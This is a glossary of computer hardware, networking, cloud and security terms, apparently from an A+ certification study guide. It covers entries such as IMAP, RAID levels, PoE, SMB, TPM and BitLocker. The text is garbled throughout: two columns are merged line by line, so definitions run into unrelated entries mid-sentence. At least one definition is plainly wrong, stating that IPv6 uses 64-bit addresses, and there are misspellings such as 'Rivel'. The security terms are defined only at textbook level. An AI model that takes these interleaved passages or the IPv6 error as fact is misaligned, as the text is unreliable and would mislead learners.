transfer. GSM phones use a SIM card
Secure Application protocol used to
to identify the subscriber and network
provide web content to browsers. HTTP
provider. 4G and later data standards
uses port 80. HTTPS(ecure) provides
are developed for GSM.
for encrypted transfers, using TLS and
Google Workspace Mobile/cloud port 443.
computing office productivity and data
iCloud Mobile/cloud computing
storage suite operated by Google.
office-productivity and data-storage
hard disk drive (HDD) Mass storage suite operated by Apple and closely
device that uses mechanical platters integrated with macOS and iOS.

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image Clone copy of an operating input/output operations per second

system installation (including installed (IOPS) Performance indicator that
software, settings, and user data) stored measures the time taken to complete
as a file on disk. VMs use images to store read/write operations.
persistent data, and the technology is
insulation displacement connector
also used to make system backups.
(IDC) Block used to terminate twisted
imaging drum Drum or belt in a laser pair cabling at a wall plate or patch
printer that supports a high electric panel available in different formats,
charge that can be selectively removed such as 110, BIX, and Krone.
using a laser or LED light source.
integrated drive electronics (IDE)
impact printer Typically a dot matrix Legacy mass storage bus, most
printer, this uses pressure to transfer commonly implemented as extended
ink from a ribbon onto paper in a IDE (EIDE) and also referred to
particular pattern, similar to the as parallel advanced technology
mechanism of a typewriter. attachment (PATA). Each IDE controller
port supports two devices connected
indoor positioning system (IPS)
over ribbon cable with three connectors
Technology that can derive a device’s
(controller, primary device, and
location when indoors by triangulating
secondary device).
its proximity to radio sources such
as Bluetooth beacons or Wi-Fi access Intel Intel processors were used in the
points. first IBM PCs, and the company’s CPUs
and chipsets continue to dominate the
information technology extended
PC and laptop market.
(ITX) Series of motherboard form
factors designed for small form factor Internet Message Access Protocol
(SFF) computers and appliances. (IMAP) Application protocol providing a
means for a client to access and manage
infrastructure as a service (IaaS)
email messages stored in a mailbox on
Cloud service model that provisions
a remote server. IMAP4 utilizes TCP port
virtual machines and network
number 143, while the secure version
infrastructure.
IMAPS uses TCP/993.
injector A device that can supply Power
Internet of Things (IoT) Devices that
over Ethernet (PoE) if the Ethernet
can report state and configuration
switch ports do not support it.
data and be remotely managed over
inkjet printer Type of printer where IP networks.
colored ink is sprayed onto the paper
Internet Protocol (IP) Network
using microscopic nozzles in the print
(Internet) layer protocol in the TCP/IP
head. There are two main types of
suite providing packet addressing and
ink dispersion system: thermal shock
routing for all higher-level protocols in
(heating the ink to form a bubble
the suite.
that bursts through the nozzles) and
piezoelectric (using a tiny element that Internet Service Provider (ISP)
changes shape to act as a pump). Provides Internet connectivity and
web services to its customers.
in-plane switching Type of TFT display
with the best overall quality, including intrusion detection system (IDS)
wide viewing angles, good contrast ratio, Security appliance or software that
and good response times (on premium analyzes data from a packet sniffer to
units). identify traffic that violates policies or
rules.
input voltage Range of alternating
current (AC) voltages that a PSU can inverter Fluorescent lamp backlights
accept when connected to grid power. require AC power. An inverter
Some PSUs are manually switched component converts DC power from the
between low-line 110–120 VAC and motherboard to AC. The inverter can fail
high-line 220–240 VAC. separately to the backlight.

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IPv4 Version of the Internet Protocol information about authorized users

that uses 32-bit address values and and their privileges, as well as other
subnet masks typically expressed in organizational information.
dotted decimal notation.
liquid cooling Cooling system that
IPv6 Version of the Internet Protocol uses system of pipes, water blocks,
that uses 64-bit address values typically and pumps to transfer heat away from
expressed in canonical hex notation components.
with slash notation network prefixes.
liquid crystal display (LCD) Flat-panel
jitter Variation in the time it takes for display technology where the image is
a signal to reach the recipient. Jitter made up of liquid crystal cells with color
manifests itself as an inconsistent filters controlled using electrical charges.
rate of packet delivery. If packet loss The display must be illuminated by a
or delay is excessive, then noticeable backlight.
audio or video problems (artifacts) are
load balancer Type of switch, router,
experienced by users.
or software that distributes client
land grid array (LGA) CPU socket form requests between different resources,
factor used predominantly by Intel such as communications links or
where connector pins are located on the similarly configured servers. This
socket. provides fault tolerance and improves
throughput.
laser printer Type of printer that
develops an image on a drum by using local area network (LAN) Network
electrical charges to attract special scope restricted to a single geographic
toner, then applying it to paper. The location and owned/managed by a
toner is then fixed to the paper using single organization.
a high-heat and pressure roller (fuser).
local connector (LC) Small form factor
The process can be used with black
push-pull fiber optic connector; available
toner only or CMYK toner cartridges to
in simplex and duplex versions.
create full-color prints.
location service Feature of mobile
latency Time taken for a signal to reach
computing that identifies or estimates
the recipient, measured in milliseconds.
the device’s geographical position using
Latency is a particular problem for
GPS and/or network data.
two-way applications, such as VoIP
(telephone) and online conferencing. Long Term Evolution (LTE) Packet data
communications specification providing
lease (DHCP) Address configuration
an upgrade path for both GSM and
assigned by a DHCP server to a client for
CDMA cellular networks. LTE Advanced
a limited period.
is designed to provide 4G standard
legacy system Hardware or software network access.
product that is no longer supported
long-range fixed wireless Ground-
by its vendor and therefore no longer
based microwave transmission that
provided with security updates and
supports long distances over precisely
patches.
aligned directional antennas. These
light emitting diode (LED) Small, low- products can either make privileged
power lamps used both as diagnostic use of licensed frequency bands or
indicators, the backlight for a TFT use public unlicensed radio-frequency
display, and (as an organic LED array) spectrum.
in high-quality flat panels.
loopback adapter Tool used to verify
Lightning Proprietary connector and the integrity of a network interface port
interface used by Apple iPhone and iPad by checking that it can receive a signal
devices. generated by itself.
Lightweight Directory Access Protocol M.2 Hardware specification for internal
(LDAP) Protocol used to access network adapter cards. M.2 is often used for
directory databases, which store PCIe-based SSDs.

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maintenance kit On a laser printer, the mSATA Connector form factor for
fuser unit (the part that fuses toner onto internal solid state drives.
the paper) needs replacing according
multicore CPU design that puts two
to the maintenance kit schedule. A
chips onto the same package. Most
maintenance kit also includes new
CPUs are multicore (more than two
pickup, feed, and separation rollers. It
cores).
may also include transfer components
(roller or belt), or these may be replaced multimode fiber (MMF) Fiber optic
on a different schedule, depending on cable type using LED or vertical cavity
the printer model. surface emitting laser optics and graded
using optical multimode types for core
managed switch Ethernet switch that
size and bandwidth.
is configurable via a command-line
interface or SDN controller. multiple input multiple output
(MIMO) Use of multiple reception and
mass storage Device with a persistent
transmission antennas to boost wireless
storage mechanism, such as hard drives,
bandwidth via spatial multiplexing and
solid state drives, and optical drives.
to boost range and signal reliability via
media access control (MAC) Hardware spatial diversity.
address that uniquely identifies each
multisocket Motherboard configuration
network interface at layer 2 (Data
with multiple CPU sockets. The CPUs
Link). A MAC address is 48 bits long
installed must be identical.
with the first half representing the
manufacturer’s organizationally unique multithreading CPU architecture that
identifier (OUI). exposes two or more logical processors
to the OS, delivering performance
memory card Solid state flash memory
benefits similar to multicore and
provisioned as a peripheral device in a
multisocket to threaded applications.
proprietary adapter card form factors,
such as Secure Digital and microSD. multiuser MIMO (MU-MIMO) Use of
spatial multiplexing to allow a wireless
metered utilization Feature of cloud
access point to support multiple client
service models that allows customers
stations simultaneously.
to track and pay for precise compute,
storage, and network resource units. MX record Type of DNS resource record
used to identify the email servers used
metropolitan area network (MAN)
by a domain.
Network scope covers the area of a city
(that is, no more than tens of kilometers). near-field communication
(NFC) Standard for two-way radio
Microsoft 365 Mobile/cloud computing
communications over very short
office productivity and data storage
(around four inches) distances,
suite operated by Microsoft.
facilitating contactless payment and
mobile application management similar technologies. NFC is based on
(MAM) Enterprise management function RFID.
that enables control over apps and
NetBIOS Session management protocol
storage for mobile devices and other
used to provide name registration and
endpoints.
resolution services on legacy Microsoft
mobile device management (MDM) networks.
Process and supporting technologies for
network address translation (NAT)
tracking, controlling, and securing the
Routing mechanism that conceals
organization’s mobile infrastructure.
internal addressing schemes from the
modular power supply PSU design public Internet by translating between
where power cables can be attached to a single public address on the external
ports on the unit as needed. side of a router and private, non-
routable addresses internally.
Molex connector Legacy power
connector for internal devices such as network attached storage (NAS)
hard drives and optical drives. Storage device enclosure with network

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port and an embedded OS that supports use to create an image on the page
typical network file access protocols (FTP (for most printers, this means a raster
and SMB for instance). describing the placement of dots on the
paper).
network interface card (NIC) Adapter
card that provides one or more Ethernet pairing Feature of Bluetooth that
ports for connecting hosts to a network establishes connectivity between two
so that they can exchange data over a devices, often by entering a PIN.
link.
patch cord Type of flexible network
network mask Number of bits applied cable typically terminated with RJ45
to an IP address to mask the network connectors. Ethernet patch cords cannot
ID portion from the host/interface ID be longer than five meters.
portion.
patch panel Type of distribution frame
non-volatile memory express (NVMe) used with twisted pair cabling with
Internal interface for connecting flash IDCs to terminate fixed cabling on one
memory devices, such as SSDs, directly side and modular jacks to make cross-
to a PCI Express bus. NVMe allows much connections to other equipment on the
higher transfer rates than SATA/AHCI. other.
operational technology (OT) PCI Express (PCIe) Internal expansion
Communications network designed to bus that uses serial point-to-point
implement an industrial control system communications between devices. Each
rather than data networking. link can comprise one or more lanes
(x1, x2, x4, x8, x12, x16, or x32). Each
optical character recognition (OCR)
lane supports a full-duplex transfer
Software that can identify the shapes of
rate of 500 MB/s (v1.0) up to about
characters and digits to convert them
4 GB/s (v5.0).
from printed images to electronic data
files that can be modified in a word- peripheral component interconnect
processing program. (PCI) Legacy internal expansion bus
supporting 32-bit parallel transfers
optical drive Mass storage device
working at 33 MHz.
that supports CD, DVD, and/or Blu-ray
media. Burner-type drives also support permanent cable Type of solid network
recording and rewriting. cable typically terminated to punchdown
blocks that is run through wall and
optical network terminal (ONT) Device
ceiling spaces.
that converts between optical and
electrical signaling deployed to facilitate personal area network (PAN)
full fiber Internet connection types. Network scope that uses close-range
wireless technologies (usually based
organic LED (OLED) Type of flat panel
on Bluetooth or NFC) to establish
display where each pixel is implemented
communications between personal
as an LED, removing the need for a
devices, such as smartphones, laptops,
separate backlight.
and printers/peripheral devices.
orthogonal frequency division
pickup rollers Print device components
multiple access (OFDMA) Feature of
that feed paper between the input tray,
Wi-Fi 6 allowing an access point to serve
print engine, and output tray.
multiple client stations simultaneously.
pin grid array (PGA) CPU socket form
output voltage Direct current (DC)
factor used predominantly by AMD
3.3 VDC, 5 VDC, and 12 VDC power
where connector pins are located on the
supplied over PSU cables to computer
CPU package.
components.
plain old telephone system (POTS)
P1 connector Main power connector
Parts of a telephone network “local loop”
from the PSU to the motherboard.
that use voice-grade cabling. Analog
page description language (PDL) data transfer over POTS using dial-up
Instructions that the print device can modems is slow (33.3 Kb/s).

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platform as a service (PaaS) power-on self-test (POST) Test

Cloud service model that provisions routine built into PC firmware to
application and database services as a confirm that system components are
platform for development of apps. available at boot or to signal an error
condition via a beep code or on-screen
Plenum Cable for use in building voids
status message.
designed to be fire-resistant and to
produce a minimal amount of smoke if preferred roaming list (PRL) Data
burned. that allows a CDMA-based handset to
connect to nearby cell towers.
port (TCP/UDP) In TCP and UDP
applications, a unique number assigned print bed 3-D print device component
to a particular application protocol. on which output is deposited.
Server ports are typically assigned well-
print device Term used to describe the
known or registered numbers, while
actual printer hardware that services
client ports use dynamic or ephemeral
a print job when submitted from an
numbering.
application.
port flapping Network error where a
print monitor In Windows, the print
port transitions rapidly between up and
monitor is a process that checks the
down states.
print queue (%SystemRoot%\System32\
port replicator A simple device used to Spool\Printers\) for print jobs. When
extend the range of ports (for example, they arrive, they are processed, if
USB, DVI, HDMI, Thunderbolt, network, necessary, then passed via a print port
and so on) available for a laptop to the print device.
computer when it is used on a desk.
print server Computer configured to
Post Office Protocol (POP) Application share a connected printer with other
protocol that enables a client to hosts. The client hosts connect to the
download email messages from a server printer share rather than directly to the
mailbox to a client over port TCP/110 or print device.
secure port TCP/995.
printer “Printer” is often used to
PostScript (PS) Page description mean “print device” but also refers to
language developed by Adobe that is a term used to describe the software
capable of creating accurate, device- components of a printing solution.
independent output (this means The printer is the object that Windows
that two different printer models will sends output to. It consists of a
produce exactly the same output from spool directory, a printer driver, and
the same print file). configuration information.
Power over Ethernet (PoE) Printer Control Language (PCL) Page
Specification allowing power to be description and printer control language
supplied via switch ports and ordinary developed by HP to implement printer
data cabling to devices such as VoIP driver functionality.
handsets and wireless access points.
private cloud Cloud that is deployed for
Devices can draw up to about 13 W (or
use by a single entity.
25 W for PoE+).
programmable logic controller
power supply tester Type of meter
(PLC) Type of processor designed for
designed to test that output voltages
deployment in an industrial or outdoor
from PSU power connector cables are
setting that can automate and monitor
within expected tolerances.
mechanical systems.
power supply unit (PSU) Transformer
proxy server Server that mediates
that converts AC grid power into 3.3V,
the communications between a client
5V, and 12V DC to power components
and another server. It can filter and
on the motherboard. The type of PSU
often modify communications as well
must match the case and motherboard
as provide caching services to improve
form factor.
performance.

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public cloud (multitenant) Cloud that data and program instructions while the
is deployed for shared use by multiple computer is turned on.
independent tenants.
real-time clock (RTC) Part of the
public IP address Some IP address system chipset that keeps track of the
ranges are designated for use on date and time. The RTC is powered by
private networks only. Packets with a battery, so the PC keeps track of the
source IP addresses in public ranges time even when it is powered down. If
are permitted to be forwarded over the computer starts losing time, it is a
the Internet. Packets with source IP sign that the battery is failing.
addresses from private ranges should
received signal strength indicator
be blocked at Internet gateways
(RSSI) Signal strength as measured at
or forwarded using some type of
the receiver, using either decibel units
translation mechanism.
or an index value.
public switched telephone network
redundant array of independent/
(PSTN) Global network connecting
inexpensive disks (RAID) Specifications
national telecommunications systems.
that support redundancy and fault
punchdown tool Tool used to terminate tolerance for different configurations of
solid twisted-pair copper cable to an multiple-device storage systems.
insulation displacement connector
redundant power supply System case
block.
configuration supporting two power
quadruple-channel System-memory units for fault tolerance.
controller configuration that provides
registered-jack connector (RJ) Series
four data pathways between the memory
of jack/plug types used with twisted-pair
modules and a compatible CPU.
cabling, such as RJ45 and RJ11.
quality of service (QoS) Systems that
Remote Authentication Dial-in
differentiate data passing over the
User Service (RADIUS) AAA protocol
network that can reserve bandwidth for
used to manage remote and wireless
particular applications. A system that
authentication infrastructures.
cannot guarantee a level of available
bandwidth is often described as Class of Remote Desktop Protocol (RDP)
Service (CoS). Application protocol for operating
remote connections to a host using a
radio-frequency ID (RFID) Means of
graphical interface. The protocol sends
encoding information into passive tags,
screen data from the remote host to
which can be energized and read by
the client and transfers mouse and
radio waves from a reader device.
keyboard input from the client to the
RAID0 Striping drive configuration that remote host. It uses TCP port 3389.
provides no redundancy against device
reservation (DHCP) DHCP configuration
failure.
that assigns either a prereserved or
RAID1 Mirrored two-disk redundant persistent IP address to a given host,
drive configuration with 50% capacity based on its hardware address or
utilization. other ID.
RAID10 Stripe of mirrored four-disk resin 3-D print device media type.
redundant drive configuration with 50%
resource record Data file storing
capacity utilization. A RAID10 volume
information about a DNS zone. The main
can support the loss of one device in
records are as follows: A (maps a host
each mirror.
name to an IPv4 address), AAAA (maps to
RAID5 Striping with parity-redundant an IPv6 address), CNAME (an alias for a
drive configuration supporting a flexible host name), MX (the IP address of a mail
number of devices and better than 50% server), and PTR (allows a host name to be
capacity utilization. identified from an IP address).
random-access memory (RAM) Volatile router Intermediate system working at
storage devices that hold computer the Network layer capable of forwarding

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packets around logical networks of with the print device using a PIN or
different layer 1 and layer 2 types. smart badge.
sandbox Computing environment self-monitoring analysis and reporting
that is isolated from a host system technology (SMART) Technology
to guarantee that the environment designed to alert the user to an error
runs in a controlled, secure fashion. condition in a mass-storage device before
Communication links between the the disk becomes unusable.
sandbox and the host are usually
Sender Policy Framework (SPF) DNS
completely prohibited so that malware
record identifying hosts authorized to
or faulty software can be analyzed in
send mail for the domain.
isolation and without risk to the host.
separation pad Print device component
Satellite System of microwave
that ensures only a single sheet at a
transmissions where orbital satellites
time is fed into the paper path.
relay signals between terrestrial receivers
or other orbital satellites. Satellite serial ATA (SATA) Serial ATA is the most
internet connectivity is enabled through a widely used interface for hard disks
reception antenna connected to the PC or on desktop and laptop computers. It
network through a DVB-S modem. uses a 7-pin data connector with one
device per port. There are three SATA
scalability Property by which a
standards specifying bandwidths of
computing environment is able to
1.5 Gb/s, 3 Gb/s, and 6 Gb/s respectively.
gracefully fulfill its ever-increasing
SATA drives also use a new 15-pin
resource needs.
power connector, though adapters for
scan to cloud Feature of scanners and the old style 4-pin Molex connectors
multifunction devices that directs output are available. External drives are also
to a cloud storage account. supported via the eSATA interface.
scan to email Using an SMTP server serial cable (RS-232) Legacy bus type
(and possibly an LDAP server to look up using low bandwidth asynchronous
recipients) to send a scanned job to a serial transmission (RS-232).
mail recipient directly.
Server Message Block (SMB)
scan to folder Using Windows Application protocol used for requesting
Networking (SMB) to output a scanned files from Windows servers and
job directly to a shared folder on the delivering them to clients. SMB allows
network. machines to share files and printers,
thus making them available for other
scanner Type of copier that can convert
machines to use. SMB client software
the image of a physical object into
is available for UNIX-based systems.
an electronic data file. The two main
Samba software allows UNIX and Linux
components of a scanner are the lamp,
servers or NAS appliances to run SMB
which illuminates the object, and the
services for Windows clients.
recording device, an array of charge
coupled devices (CCDs). service set identifier (SSID) Character
string that identifies a particular wireless
scope (DHCP) Range of consecutive IP
LAN (WLAN).
addresses in the same subnet that a
DHCP server can lease to clients. shielded twisted pair (STP) Copper
twisted-pair cabling with screening and
secure boot Feature of UEFI that
shielding elements for individual wire
prevents unauthorized processes from
pairs and/or the whole cable to reduce
executing during the boot operation.
interference.
Secure Shell (SSH) Application protocol
signal-to-noise ratio (SNR)
supporting secure tunneling and remote
Measurement of a wireless signal level
terminal emulation and file copy. SSH
in relation to any background noise.
runs over TCP port 22.
Simple Mail Transfer Protocol (SMTP)
secured print Feature that holds print
Application protocol used to send
jobs until the user authenticates directly

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mail between hosts on the Internet. cards. Commonly, audio ports may
Messages are sent between servers over be marked as: audio out, audio in,
TCP port 25 or submitted by a mail client speaker out, microphone input/mic, and
over secure port TCP/587. headphones.
Simple Network Management spam Junk, fraudulent, and malicious
Protocol (SNMP) Application protocol messaging sent over email (or instant
used for monitoring and managing messaging, which is called spim). Spam
network devices. SNMP works over UDP can also be spread via social networking.
ports 161 and 162 by default.
spool Generic term describing how a
single-channel System-memory print output stream is passed from a
controller configuration that provides client application and stored temporarily
one data pathway between the memory at a print server until the print monitor
modules and the CPU. can route the job to the print device.
single-mode fiber (SMF) Fiber optic storage area network (SAN) Network
cable type that uses laser diodes and dedicated to provisioning storage
narrow core construction to support resources, typically consisting of storage
high bandwidths over distances of more devices and servers connected to
than five kilometers. switches via host bus adapters.
small computer systems interface straight-tip connector (ST) Bayonet-
(SCSI) Legacy expansion bus standard style twist-and-lock connector for fiber
allowing for the connection of internal optic cabling.
and external devices. Each device on
subscriber connector (SC) Push/pull
a SCSI bus must be allocated a unique
connector used with fiber optic cabling.
ID. The bus must also be terminated at
both ends. supervisory control and data
acquisition (SCADA) Type of industrial
small office, home office (SOHO)
control system that manages large-scale,
Category of network type and products
multiple-site devices and equipment
that are used to implement small-
spread over geographically large areas
scale LANs and off-the-shelf Internet
from a host computer.
connection types.
switch Intermediate system used to
smart device Device or appliance (such
establish contention-free network
as a TV, refrigerator, thermostat, video
segments at OSI layer 2 (Data Link). An
entry phone, or lightbulb) that can be
unmanaged switch does not support
configured and monitored over an IoT
any sort of configuration.
network.
switched port analyzer (SPAN)
SODIMM System-memory form factor
Copying ingress and/or egress
designed for use in laptops.
communications from one or more
software as a service (SaaS) Cloud switch ports to another port. This is
service model that provisions fully used to monitor communications
developed application services to users. passing over the switch.
software-defined networking (SDN) syslog Application protocol and event-
APIs and compatible hardware/virtual logging format enabling different
appliances allowing for programmable appliances and software applications
network appliances and systems. to transmit logs or event records to a
central server. Syslog works over UDP
solid state drive (SSD) Persistent mass-
port 514 by default.
storage device implemented using flash
memory. T568A/T568B Twisted-pair termination
pinouts defined in the ANSI/TIA/
sound card Adapter card providing
EIA 568 Commercial Building
sound playback and recording
Telecommunications Standards.
functionality. A number of different
audio ports exist on modern computer telnet Application protocol supporting
motherboards or on specialist sound unsecure terminal emulation for remote

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host management. Telnet runs over TCP often dedicated to use with digital art
port 23. applications.
test access port (TAP) Hardware device transfer roller/belt Roller, corona
inserted into a cable run to copy frames wire, or belt assembly on a laser print
for analysis. device that applies a charge to the
media (paper) so that it attracts toner
thermal paste/pad Cooling substance
from the photoconductor. A detac strip
applied between a component and heat
then removes the charge to prevent
sink to optimize heat transfer.
paper curl. On a color laser printer, the
thermal printer Type of printer that transfer unit is usually a belt.
uses a heated print head and specially
Transmission Control Protocol (TCP)
treated paper to form the image. Most
Protocol in the TCP/IP suite operating
direct thermal printers are handheld
at the transport layer to provide
devices used for printing labels or
connection-oriented, guaranteed
receipts.
delivery of packets.
thin film transistor (TFT) Specific
Transmission Control Protocol/
display technology used to implement
Internet Protocol (TCP/IP) Network
modern flat-panel LCD displays.
protocol suite used to implement the
Thunderbolt Thunderbolt can be used Internet and most WANs and LANs. It
as a display interface (like DisplayPort) uses a four-layer network model that
and as a general peripheral interface corresponds roughly to the OSI model
(like USB 3). The latest version uses as follows: Network Interface (Physical/
USB-C connectors. Data Link), Internet (Network), Transport
(Transport), Application (Session,
tone generator Two-part tool used to
Presentation, Application).
identify one cable within a bundle by
applying an audible signal. Transport Layer Security (TLS)
Security protocol that uses certificates
toner Specially formulated compound
for authentication and encryption to
to impart dye to paper through an
protect web communications and other
electrographic process (used by
application protocols.
laser printers and photocopiers).
The key properties of toner are triple-channel System-memory
the colorant (dye), ability to fuse controller configuration that provides
(wax or plastic), and ability to hold three data pathways between the
a charge. There are three main memory modules and a compatible
types of toner, distinguished by the CPU.
mechanism of applying the toner to
Trivial File Transfer Protocol (TFTP)
the developer roller: dual component
Simplified form of FTP supporting only
(where the toner is mixed with a
file copying. TFTP works over UDP
separate magnetic developer), mono-
port 69.
component (where the toner itself
is magnetic), and non-magnetic troubleshooting methodology
mono-component (where the toner is Structured approach to problem-solving
transferred using static properties). using identification, theory of cause,
testing, planning, implementation,
touch pen Input device that can be used
verification, and documentation steps.
with a compatible digitizer/track pad/
drawing tablet for natural input, such as trusted platform module (TPM)
handwriting and sketching. Specification for secure hardware-
based storage of encryption keys,
touch screen A display screen
hashed passwords, and other user- and
combined with a digitizer that is
platform-identification information.
responsive to touch input.
twisted nematic (TN) Type of low-cost
trackpad Sometimes synonymous with
TFT display with relatively poor viewing
touch pad, but also a touch interface
angles and contrast ratio, but good
provisioned as a peripheral device,
response times.

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twisted pair cable Network cable 480 Mb/s and is backward compatible
construction with insulated copper with 1.1 devices (which run at the
wires twisted about each other. A pair of slower speed). USB devices are hot
color-coded wires transmits a balanced swappable. A device can draw up to
electrical signal. The twisting of the wire 2.5 W power. USB 3.0 and 3.1 define
pairs at different rates acts to reduce 5 Gb/s (SuperSpeed) and 10 Gb/s
interference and crosstalk. (SuperSpeed+) rates and can deliver
4.5 W power.
two-factor authentication (2FA)
Strong authentication mechanism that unshielded twisted pair Media type
requires a user to submit two different that uses copper conductors arranged
types of credential, such as a fingerprint in pairs that are twisted to reduce
scan plus PIN. Often, the second interference. Typically, cables are 4-pair
credential is transmitted via a second or 2-pair.
trusted device or account. This is also
USB permission Feature of system
referred to as 2-step verification.
setup allowing USB ports to be disabled.
TXT record DNS resource record for
User Datagram Protocol (UDP)
storing free-form string values.
Protocol in the TCP/IP suite operating
unboxing Operational procedure for at the transport layer to provide
ensuring that a new device is installed connectionless, non-guaranteed
safely to an optimum environment. communication.
unified extensible firmware interface vertical alignment (VA) Type of TFT
(UEFI) Type of system firmware display with good viewing angles and
providing support for 64-bit CPU excellent contrast ratio.
operation at boot, full GUI and mouse
video card Adapter that handles
operation at boot, and better boot
graphics processing and output to a
security.
display device over one or more video
unified threat management (UTM) interface ports.
All-in-one security appliances and
video graphics array (VGA) Legacy
agents that combine the functions of
video interface supporting analog-
a firewall, malware scanner, intrusion
only signaling over a 15-pin D-shell
detection, vulnerability scanner, data-
connector.
loss prevention, content filtering, and
so on. virtual desktop infrastructure (VDI)
A virtualization implementation that
uniform resource locator (URL)
separates the personal computing
Application-level addressing scheme for
environment from a user’s physical
TCP/IP, allowing for human-readable
computer.
resource addressing. For example:
protocol://server/file, where “protocol” is virtual local area network (VLAN)
the type of resource (HTTP, FTP), “server” Logical network segment comprising a
is the name of the computer (www. broadcast domain established using a
microsoft.com), and “file” is the name of feature of managed switches to assign
the resource you wish to access. each port a VLAN ID. Even though
hosts on two VLANs may be physically
universal asynchronous receiver
connected to the same switch, local
transmitter (UART) Controller that
traffic is isolated to each VLAN, so they
can send and receive data in an
must use a router to communicate.
asynchronous serial format.
virtual machine (VM) Guest operating
Universal Serial Bus (USB) USB is
system installed on a host computer
the main type of connection interface
using virtualization software (a
used on PCs. A larger Type A connector
hypervisor).
attaches to a port on the host; Type B
and Mini- or Micro-Type B connectors virtual machine escaping (VM
are used for devices. USB 1.1 supports escaping) Attack against a virtualization
12 Mb/s, while USB 2.0 supports platform where malware running in a

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VM is able to interact directly with the such as signal strength and channel
hypervisor or host kernel. utilization.
virtual machine sprawl (VM sprawl) Wireless Internet Service Provider
Configuration vulnerability where (WISP) ISP offering Internet access
provisioning and deprovisioning over ground-based Line of Sight (LoS)
of virtual assets are not properly microwave transmitters.
authorized and monitored.
wireless local area network (WLAN)
virtual private network (VPN) Secure Network scope and type that uses
tunnel created between two endpoints wireless radio communications based
connected via an unsecure transport on some variant of the 802.11 (Wi-Fi)
network (typically the Internet). standard series.
virtual RAM An OS mediates access to
random-access memory (RAM) devices Core 2
by assigning a virtual address space
to each process. As well as protecting 2-step verification Authentication
memory access, the memory capacity mechanism that uses a separate
can be extended by configuring a swap channel to authorize a sign-on attempt
space or pagefile on a mass-storage or to transmit an additional credential.
device (HDD or SSD). This can use a registered email account
or a contact phone number for an SMS
virtualization Computing environment or voice call.
where multiple independent
operating systems can be installed to 3-2-1 backup rule Best practice maxim
a single hardware platform and run stating that at any given time there
simultaneously. should be at least three copies of data
stored on two media types, with one
virtualization support CPU extensions copy held off site.
to allow better performance when a
host runs multiple guest operating 32-bit versus 64-bit Processing modes
systems or VMs. referring to the size of each instruction
processed by the CPU. 32-bit CPUs
Voice over Internet Protocol (VoIP) replaced earlier 16-bit CPUs and were
Generic name for protocols that carry used through the 1990s to the present
voice traffic over data networks. day, though most PC and laptop CPUs
wattage rating Measure of how much now work in 64-bit mode. The main 64 bit
power can be supplied by a PSU. platform is called AMD64 or EM64T
(by Intel). Software can be compiled as
webcam Type of digital camera used 32-bit or 64-bit. 64-bit CPUs can run most
to stream and record video. There are 32-bit software, but a 32 bit CPU cannot
many types, from devices built into execute 64-bit software.
laptops to standalone units. While
early devices were only capable of low 802.1X Standard for encapsulating EAP
resolutions, most webcams are now communications over a LAN (EAPoL) or
HD-capable. WLAN (EAPoW) to implement port-based
authentication.
wide area network (WAN) Network
scope that spans a large geographical acceptable use policy (AUP) Policy that
area, incorporating more than one site governs employees’ use of company
and often a mix of different media types equipment and Internet services. ISPs
and protocols plus the use of public may also apply AUPs to their customers.
telecommunications networks. access control list (ACL) Collection
Wi-Fi Brand name for the IEEE of access control entries (ACEs) that
802.11 standards that can be used to determines which subjects (user
implement a wireless local area network accounts, host IP addresses, and so
(WLAN). on) are allowed or denied access to the
object and the privileges given (read-
Wi-Fi analyzer Device or software that only, read/write, and so on).
can report characteristics of a WLAN,

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access control vestibule Secure entry Unlike iOS, it is an open-source OS,

system with two gateways, only one of based on Linux.
which is open at any one time.
antivirus scan (A-V) Software capable
accessibility prefpane macOS utility of detecting and removing virus
related to desktop and input/output infections and (in most cases) other
device accessibility configuration. types of malware, such as worms,
Trojans, rootkits, adware, spyware,
accounts settings Windows Settings
password crackers, network mappers,
pages relating to user account creation
DoS tools, and so on.
and maintenance.
APK Android app package format used
active directory (AD) Network directory
when sideloading software from a
service for Microsoft Windows domain
source other than a trusted store.
networks that facilitates authentication
and authorization of user and computer APP Default extension for a macOS
accounts. app subdirectory when installed to the
Applications folder.
active listening A technique in
communications to ensure that you Apple File System (APFS) Default file
capture all the information that the system for macOS-based computers and
other person is “transmitting,” including laptops.
non-verbal cues such as tone of voice
Apple ID Cloud-based service allowing
or gestures. There are various active
users to synchronize settings and
listening techniques for ensuring that
manage apps, file sharing, and backups
you are “getting the right message,” such
between multiple Apple devices.
as summarizing, reflecting (matching
the speaker’s communication style), application programming interface
interpreting, and verbal attends (such as (API) Methods exposed by a script or
“Uh-huh,” or “I see.”) program that allow other scripts or
programs to use it. For example, an API
ad blocker Browser feature or add-in
enables software developers to access
that prevents third-party content from
functions of the TCP/IP network stack
being displayed when visiting a site.
under a particular operating system.
administrative tools Folder in Control
Apps settings Windows Settings pages
Panel containing default Microsoft
relating to configuration of Windows
management consoles used to configure
Features and third-party software apps.
the local system.
apt-get One of the package
administrator Privileged user account
management tools available in Linux for
that has been granted memberships of
installing and updating software.
the Administrators security group. There
is also an account named Administrator, asset Thing of economic value. For
but this is usually disabled by default. accounting purposes, assets are
classified in different ways, such as
Advanced Encryption Standard (AES)
tangible and intangible or short term
Symmetric 128-, 192-, or 256-bit block
and long term. Asset management
cipher used for bulk encryption in
means identifying each asset and
modern security standards, such as
recording its location, attributes, and
WPA2, WPA3, and TLS.
value in a database.
AirDrop iOS feature for simple file
asset tagging Practice of assigning
sharing via Bluetooth.
an ID to assets to associate them with
alarm system Physical intrusion entries in an inventory database.
detection and warning that can use
asymmetric encryption cipher Cipher
circuit, motion, proximity, and duress
that uses public and private keys. The
triggers.
keys are mathematically linked, using
Android Cell phone/smartphone/tablet either Rivel, Shamir, Adleman (RSA)
OS developed by the Open Handset or elliptic curve cryptography (ECC)
Alliance (primarily driven by Google). alogrithms, but the private key is not

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derivable from the public one. An BitLocker Feature of Windows allowing

asymmetric key cannot reverse the for encryption of NTFS-formatted drives.
operation it performs, so the public key The encryption key can be stored in a
cannot decrypt what it has encrypted, TPM chip on the computer or on a USB
for example. drive.
authentication, authorization, and blue screen of death (BSOD) Microsoft
accounting (AAA) Security concept status screen that indicates an error
where a centralized platform verifies from which the system cannot recover
subject identification, ensures the (also called a stop error). Blue screens
subject is assigned relevant permissions, are usually caused by bad driver
and then logs these actions to create an software or hardware faults (memory
audit trail. or disk). Other operating systems use
similar crash indicators, such as Apple’s
authenticator app Software that allows
pinwheel and Linux’s kernel panic
a smartphone to operate as a second
message.
authentication factor or as a trusted
channel for 2-step verification. bollards Sturdy vertical post installed
to control road traffic or designed
automation Use of scripts to perform
to prevent ram-raiding and vehicle-
configuration steps without requiring
ramming attacks.
manual intervention.
